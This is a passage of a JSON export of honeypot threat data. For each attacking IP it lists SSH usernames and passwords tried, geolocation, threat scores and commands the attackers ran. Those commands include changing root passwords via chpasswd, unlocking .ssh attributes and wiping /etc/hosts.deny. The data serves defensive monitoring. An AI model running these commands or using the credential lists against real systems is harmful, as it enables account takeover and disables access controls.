        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:18:32.547000+00:00",
        "last_seen_30d": "2026-03-14T23:28:01.130000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 67
      }
    },
    "152.32.218.244": {
      "attack_count": 377,
      "first_seen": "2026-03-02T16:52:24.021Z",
      "last_seen": "2026-03-13T13:13:04.331Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdul",
        "chenghao",
        "claude",
        "foundry",
        "icecast",
        "jon",
        "michele",
        "newuser",
        "sshuser",
        "vncuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "123456Q!",
        "@wsx3edc",
        "Admin@2025",
        "Bi123456",
        "Dy123456",
        "Foundry123!",
        "Jon123!",
        "Sshuser123!",
        "Welkom01",
        "abdul123",
        "administrador",
        "bt123456.",
        "lyp82Nlf##^^",
        "michele1234",
        "newuserpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EouzJOWO54Uv\"|chpasswd|bash",
        "echo \"root:F8OjqoitAVnZ\"|chpasswd|bash",
        "echo \"root:OavV58f4KdnI\"|chpasswd|bash",
        "echo \"root:Vo5Dz6P3jBks\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:52:24.021000+00:00",
        "last_seen_30d": "2026-03-13T13:14:12.575000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 70
      }
    },
    "104.199.176.250": {
      "attack_count": 373,
      "first_seen": "2026-03-03T20:50:17.524Z",
      "last_seen": "2026-03-26T13:09:12.952Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "handbrake",
        "nora",
        "openvas",
        "abdullah",
        "accounting",
        "contab",
        "karim",
        "nfe",
        "overlay",
        "pablo",
        "recovery",
        "sage",
        "viewtinet",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345",
        "12345678",
        "Bingo@1993",
        "Karim123",
        "Viewtinet123!",
        "admin",
        "contab1234",
        "nfe123",
        "pablo123!",
        "password",
        "qq123321",
        "sage123",
        "vpnuser123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nN1OlAUrj1hvk\\nN1OlAUrj1hvk\\n\"|passwd",
        "echo \"123456\\nIJ7KgZcQNPqw\\nIJ7KgZcQNPqw\\n\"|passwd",
        "echo \"admin\\n9UaRs81ufh7M\\n9UaRs81ufh7M\\n\"|passwd",
        "echo \"root:8PD7QdAqLuVo\"|chpasswd|bash",
        "echo -e \"12345678\\nN1OlAUrj1hvk\\nN1OlAUrj1hvk\"|passwd|bash",
        "echo -e \"123456\\nIJ7KgZcQNPqw\\nIJ7KgZcQNPqw\"|passwd|bash",
        "echo -e \"admin\\n9UaRs81ufh7M\\n9UaRs81ufh7M\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 433,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:50:17.524000+00:00",
        "last_seen_30d": "2026-03-26T13:10:16.560000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 60
      }
    },
    "103.52.114.122": {
      "attack_count": 326,
      "first_seen": "2026-03-15T16:04:06.752Z",
      "last_seen": "2026-03-15T16:27:23.222Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cs",
        "student2",
        "vas",
        "webapp",
        "bitwarden",
        "ftpuser01",
        "informatica",
        "itadmin",
        "kirill",
        "pepe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Bitwarden123!",
        "Itadmin123",
        "Student2123",
        "informatica123",
        "kirill123!",
        "password",
        "webapp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n4WgjyH1I3H3h\\n4WgjyH1I3H3h\\n\"|passwd",
        "echo \"1234\\noEFHw3AdMUkP\\noEFHw3AdMUkP\\n\"|passwd",
        "echo \"Student2123\\nWqDFbMyXdXDc\\nWqDFbMyXdXDc\\n\"|passwd",
        "echo \"webapp123!\\ndRgEqfmhwnvp\\ndRgEqfmhwnvp\\n\"|passwd",
        "echo -e \"12345678\\n4WgjyH1I3H3h\\n4WgjyH1I3H3h\"|passwd|bash",
        "echo -e \"1234\\noEFHw3AdMUkP\\noEFHw3AdMUkP\"|passwd|bash",
        "echo -e \"Student2123\\nWqDFbMyXdXDc\\nWqDFbMyXdXDc\"|passwd|bash",
        "echo -e \"webapp123!\\ndRgEqfmhwnvp\\ndRgEqfmhwnvp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:04:06.752000+00:00",
        "last_seen_30d": "2026-03-15T16:28:28.930000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "178.62.34.168": {
      "attack_count": 325,
      "first_seen": "2026-03-07T13:37:43.946Z",
      "last_seen": "2026-03-07T14:51:49.240Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "daemon",
        "dev",
        "backup",
        "developer"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T13:37:43.946000+00:00",
        "last_seen_30d": "2026-03-07T14:52:54.794000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 143
      }
    },
    "116.110.11.25": {
      "attack_count": 307,
      "first_seen": "2026-03-17T23:41:37.575Z",
      "last_seen": "2026-03-18T00:09:45.949Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1234",
        "ace",
        "carol",
        "demo",
        "developer",
        "ftpuser",
        "george",
        "geral",
        "guest1",
        "helpdesk",
        "install",
        "joggler",
        "joro",
        "kim",
        "madrid",
        "master",
        "monitor",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "112233",
        "12345678",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "ace",
        "admin",
        "admin01",
        "asteriskftp",
        "bananapi",
        "carol",
        "click1",
        "demo",
        "george"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T23:41:37.575000+00:00",
        "last_seen_30d": "2026-03-18T00:10:47.387000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 133
      }
    },
    "45.158.59.14": {
      "attack_count": 304,
      "first_seen": "2026-03-31T05:24:00.533Z",
      "last_seen": "2026-03-31T06:32:20.929Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#EDC2wsx1qaz",
        "12344321q",
        "1qaz@Wsx",
        "20250101",
        "Dex2024",
        "Password987",
        "abcd.1234",
        "admiN123",
        "aqwzsx123",
        "axente",
        "axis",
        "cabbage",
        "celica",
        "erotic",
        "hakunamatata",
        "ht123",
        "iptviptv",
        "love521"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GgtXKVgj2gkm\"|chpasswd|bash",
        "echo \"root:dGc8nOTg3w5Q\"|chpasswd|bash",
        "echo \"root:txtH75kbyj4a\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 215672,
      "as_org": "MoeChuang Network Limited",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:24:00.533000+00:00",
        "last_seen_30d": "2026-03-31T06:33:30.037000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 62
      }
    },
    "46.101.114.131": {
      "attack_count": 295,
      "first_seen": "2026-03-03T09:41:53.328Z",
      "last_seen": "2026-03-12T00:55:09.926Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nova",
        "arjun",
        "lek",
        "logviewer",
        "n8n",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "1qaz$RFV",
        "Bingo@1993",
        "Lek123!",
        "Pakistan@123",
        "Welcome@1234",
        "ZAQ123wsx",
        "aa123456..",
        "arjun",
        "hahaha",
        "jimmy",
        "n8n",
        "qW123456",
        "re!123345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nYCYHF2hPBbFX\\nYCYHF2hPBbFX\\n\"|passwd",
        "echo \"root:DweS0ZEIECJO\"|chpasswd|bash",
        "echo \"root:fuvvNuQcGpXV\"|chpasswd|bash",
        "echo -e \"123456\\nYCYHF2hPBbFX\\nYCYHF2hPBbFX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 351,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:41:53.328000+00:00",
        "last_seen_30d": "2026-03-12T00:56:16.749000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 295,
        "Suricata": 56
      }
    },
    "221.147.115.42": {
      "attack_count": 287,
      "first_seen": "2026-03-23T07:00:56.617Z",
      "last_seen": "2026-03-30T18:35:24.274Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nominatim",
        "andrey",
        "cisco",
        "edward",
        "netflow",
        "ravi",
        "sm",
        "ss",
        "user",
        "zhenshan"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "!12345678",
        "!@#$_qwer",
        "12345678",
        "123@com",
        "2024.",
        "20240808",
        "22554466",
        "71717171",
        "Aa123!@#",
        "Pass@word1!",
        "QWEASD",
        "Ravi123!",
        "Root@123!",
        "Sm123",
        "Zhenshan123!",
        "andrey123!",
        "ctyun.cn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nsRgrlOX7sFru\\nsRgrlOX7sFru\\n\"|passwd",
        "echo \"root:9jWxwZ2ZgKnf\"|chpasswd|bash",
        "echo -e \"password\\nsRgrlOX7sFru\\nsRgrlOX7sFru\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T07:00:56.617000+00:00",
        "last_seen_30d": "2026-03-30T18:36:26.821000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 83
      }
    },
    "200.89.178.151": {
      "attack_count": 268,
      "first_seen": "2026-03-11T04:32:58.146Z",
      "last_seen": "2026-03-25T20:08:15.703Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfred",
        "nuxeo",
        "usan",
        "ansadmin",
        "clawd",
        "elastic",
        "evan",
        "frappeuser",
        "jackie",
        "kibana",
        "llll",
        "mgeweb",
        "msf",
        "ncadmin",
        "opsgenie",
        "pb",
        "power",
        "quassel",
        "rabbitmqadmin"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "Alfred123",
        "Evan123!",
        "ansadmin",
        "elastic",
        "frappeuser",
        "jackie",
        "llll",
        "ncadmin",
        "opsgenie",
        "pb",
        "power",
        "quassel",
        "rabbitmqadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Alfred123\\nNtXjhjaUON6B\\nNtXjhjaUON6B\\n\"|passwd",
        "echo \"usan\\ntcVUlUKlEyYY\\ntcVUlUKlEyYY\\n\"|passwd",
        "echo -e \"Alfred123\\nNtXjhjaUON6B\\nNtXjhjaUON6B\"|passwd|bash",
        "echo -e \"usan\\ntcVUlUKlEyYY\\ntcVUlUKlEyYY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:32:58.146000+00:00",
        "last_seen_30d": "2026-03-25T20:09:20.629000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 72
      }
    },
    "157.10.252.160": {
      "attack_count": 262,
      "first_seen": "2026-03-15T02:58:36.858Z",
      "last_seen": "2026-03-17T14:06:08.144Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev2",
        "acs",
        "bin",
        "coolify",
        "eder",
        "flutter",
        "hotline",
        "import",
        "mmx",
        "passbolt",
        "sam",
        "shadow",
        "trinity",
        "tt",
        "umar",
        "user",
        "user10",
        "usuario"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "2801",
        "Master123",
        "Passbolt123!",
        "Qq123123",
        "Qw123456",
        "Shadow123!",
        "Trinity123",
        "User10123!",
        "acs@123456",
        "coolify1234",
        "flutter1234",
        "hotlinepass",
        "import",
        "password",
        "tttt"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nsgLXSilN2nJA\\nsgLXSilN2nJA\\n\"|passwd",
        "echo \"root:SkkrCfYddNXg\"|chpasswd|bash",
        "echo -e \"1234\\nsgLXSilN2nJA\\nsgLXSilN2nJA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:58:36.858000+00:00",
        "last_seen_30d": "2026-03-17T14:07:16.275000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 70
      }
    },
    "103.134.154.142": {
      "attack_count": 255,
      "first_seen": "2026-03-21T11:01:54.529Z",
      "last_seen": "2026-03-21T11:32:38.445Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mark",
        "dev",
        "jhpark",
        "m",
        "sysadm",
        "zomboid"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "1A2b3c4d",
        "Ls123456",
        "Mark123",
        "ali1234",
        "m123!",
        "senha123",
        "sysadm123!",
        "zomboidpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Mark123\\nwIj6wDWWTLLI\\nwIj6wDWWTLLI\\n\"|passwd",
        "echo \"root:5zrVE9rKyXyf\"|chpasswd|bash",
        "echo \"root:upTrT99v410a\"|chpasswd|bash",
        "echo -e \"Mark123\\nwIj6wDWWTLLI\\nwIj6wDWWTLLI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
